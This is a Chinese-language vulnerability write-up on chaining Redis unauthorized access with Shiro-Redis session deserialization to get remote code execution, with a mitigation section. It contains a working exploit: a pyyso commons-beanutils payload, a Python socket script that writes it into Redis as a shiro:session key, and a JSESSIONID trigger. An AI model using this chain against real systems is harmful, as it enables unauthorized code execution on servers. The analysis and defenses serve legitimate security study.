redis未授权到shiro反序列化
字数 1462 2025-08-29 08:32:19

Redis未授权访问配合Shiro-Redis反序列化漏洞利用分析

0x01 漏洞背景

本漏洞利用场景结合了两个安全问题:

  1. Redis未授权访问漏洞
  2. Shiro-Redis反序列化漏洞

当目标系统同时存在Redis未授权访问且配置了Shiro-Redis来存储Session时,攻击者可以通过向Redis写入恶意序列化数据,诱导Shiro反序列化这些数据,最终实现远程代码执行(RCE)。

0x02 前置知识

Redis未授权访问

Redis默认监听6379端口,如果未配置认证且未设置防火墙规则,可能导致未授权访问。攻击者可以直接连接Redis服务并执行命令。

Shiro框架

Apache Shiro是一个Java安全框架,用于认证、授权、加密和会话管理。

Shiro-Redis

Shiro-Redis是一个开源项目,用于将Shiro的Session存储在Redis中,实现分布式Session共享。

0x03 漏洞发现与验证

1. 信息收集

  • 使用nmap或Shodan扫描发现6379端口开放Redis服务
  • 确认Redis版本为3.2.100(Windows环境)
  • 通过redis-cli连接确认未授权访问
redis-cli -h <target_ip>

2. Redis利用尝试

  • 尝试常见Redis利用方式失败(写webshell、写SSH key等)
  • 发现Redis中存储了Shiro Session数据,键名格式为shiro:session:<session_id>
  • 观察到Session值以\xac\xed开头,表明是Java序列化数据

0x04 漏洞利用原理

1. 利用链分析

攻击者可以通过以下步骤实现RCE:

  1. 通过Redis未授权访问写入恶意序列化数据
  2. 诱导Shiro读取并反序列化这些数据
  3. 触发反序列化漏洞执行任意代码

2. 关键代码分析

漏洞触发点在org.crazycake.shiro.RedisSessionDAO#doReadSession

protected Session doReadSession(Serializable sessionId) {
    // ...
    session = (Session) valueSerializer.deserialize(
        redisManager.get(keySerializer.serialize(sessionRedisKey)));
    // ...
}

最终反序列化操作在org.crazycake.shiro.serializer.ObjectSerializer#deserialize

public Object deserialize(byte[] bytes) throws SerializationException {
    // ...
    ByteArrayInputStream byteStream = new ByteArrayInputStream(bytes);
    ObjectInputStream objectInputStream = new MultiClassLoaderObjectInputStream(byteStream);
    result = objectInputStream.readObject(); // 反序列化触发点
    // ...
}

0x05 漏洞利用步骤

1. 环境搭建

  1. 启动Redis 3.2.100(Windows环境)
  2. 部署Shiro-Redis示例项目:
    https://github.com/alexxiyang/shiro-redis-spring-boot-tutorial
    

2. 生成恶意序列化数据

使用pyyso工具生成反序列化payload:

import pyyso
value = pyyso.cb1v192("open /")  # 使用commons-beanutils链

3. 写入Redis

使用Python脚本将payload写入Redis:

import pyyso
import socket

s = socket.socket()
s.connect(("127.0.0.1", 6379))

whatever = b"123"
key = b"shiro:session:" + whatever
value = pyyso.cb1v192("open /")

# Redis SET命令格式
s.send(
    b"\x2a\x33\x0d\x0a\x24\x33\x0d\x0aSET\r\n"
    b"\x24" + str(len(key)).encode() + b"\r\n" + key + b"\r\n"
    b"\x24" + str(len(value)).encode() + b"\r\n" + value + b"\r\n"
)

if b"+OK" in s.recv(3):
    print("success")

4. 触发漏洞

  1. 修改浏览器中的JSESSIONID为写入的key(如"123")
  2. 发送请求触发反序列化

0x06 漏洞利用条件

  1. Redis存在未授权访问
  2. 目标系统使用Shiro框架
  3. 配置了Shiro-Redis存储Session
  4. Shiro环境中存在可利用的反序列化链(如commons-beanutils)

0x07 防御措施

  1. Redis安全配置:

    • 设置强密码认证
    • 绑定特定IP
    • 禁用危险命令
    • 使用防火墙限制访问
  2. Shiro安全配置:

    • 升级到最新版本
    • 使用安全的Session序列化方式
    • 配置加密的Redis连接
  3. 代码层面:

    • 避免使用默认的Java序列化
    • 实现安全的反序列化过滤器

0x08 总结

本漏洞利用结合了Redis未授权访问和Shiro反序列化两个安全问题,通过控制Redis中存储的Session数据,诱导Shiro进行恶意反序列化。这种攻击方式不需要知道Shiro的rememberMe密钥,只要能够访问Redis并写入数据即可实现RCE。

Redis未授权访问配合Shiro-Redis反序列化漏洞利用分析 0x01 漏洞背景 本漏洞利用场景结合了两个安全问题: Redis未授权访问漏洞 Shiro-Redis反序列化漏洞 当目标系统同时存在Redis未授权访问且配置了Shiro-Redis来存储Session时,攻击者可以通过向Redis写入恶意序列化数据,诱导Shiro反序列化这些数据,最终实现远程代码执行(RCE)。 0x02 前置知识 Redis未授权访问 Redis默认监听6379端口,如果未配置认证且未设置防火墙规则,可能导致未授权访问。攻击者可以直接连接Redis服务并执行命令。 Shiro框架 Apache Shiro是一个Java安全框架,用于认证、授权、加密和会话管理。 Shiro-Redis Shiro-Redis是一个开源项目,用于将Shiro的Session存储在Redis中,实现分布式Session共享。 0x03 漏洞发现与验证 1. 信息收集 使用nmap或Shodan扫描发现6379端口开放Redis服务 确认Redis版本为3.2.100(Windows环境) 通过redis-cli连接确认未授权访问 2. Redis利用尝试 尝试常见Redis利用方式失败(写webshell、写SSH key等) 发现Redis中存储了Shiro Session数据,键名格式为 shiro:session:<session_id> 观察到Session值以 \xac\xed 开头,表明是Java序列化数据 0x04 漏洞利用原理 1. 利用链分析 攻击者可以通过以下步骤实现RCE: 通过Redis未授权访问写入恶意序列化数据 诱导Shiro读取并反序列化这些数据 触发反序列化漏洞执行任意代码 2. 关键代码分析 漏洞触发点在 org.crazycake.shiro.RedisSessionDAO#doReadSession : 最终反序列化操作在 org.crazycake.shiro.serializer.ObjectSerializer#deserialize : 0x05 漏洞利用步骤 1. 环境搭建 启动Redis 3.2.100(Windows环境) 部署Shiro-Redis示例项目: 2. 生成恶意序列化数据 使用pyyso工具生成反序列化payload: 3. 写入Redis 使用Python脚本将payload写入Redis: 4. 触发漏洞 修改浏览器中的JSESSIONID为写入的key(如"123") 发送请求触发反序列化 0x06 漏洞利用条件 Redis存在未授权访问 目标系统使用Shiro框架 配置了Shiro-Redis存储Session Shiro环境中存在可利用的反序列化链(如commons-beanutils) 0x07 防御措施 Redis安全配置: 设置强密码认证 绑定特定IP 禁用危险命令 使用防火墙限制访问 Shiro安全配置: 升级到最新版本 使用安全的Session序列化方式 配置加密的Redis连接 代码层面: 避免使用默认的Java序列化 实现安全的反序列化过滤器 0x08 总结 本漏洞利用结合了Redis未授权访问和Shiro反序列化两个安全问题,通过控制Redis中存储的Session数据,诱导Shiro进行恶意反序列化。这种攻击方式不需要知道Shiro的rememberMe密钥,只要能够访问Redis并写入数据即可实现RCE。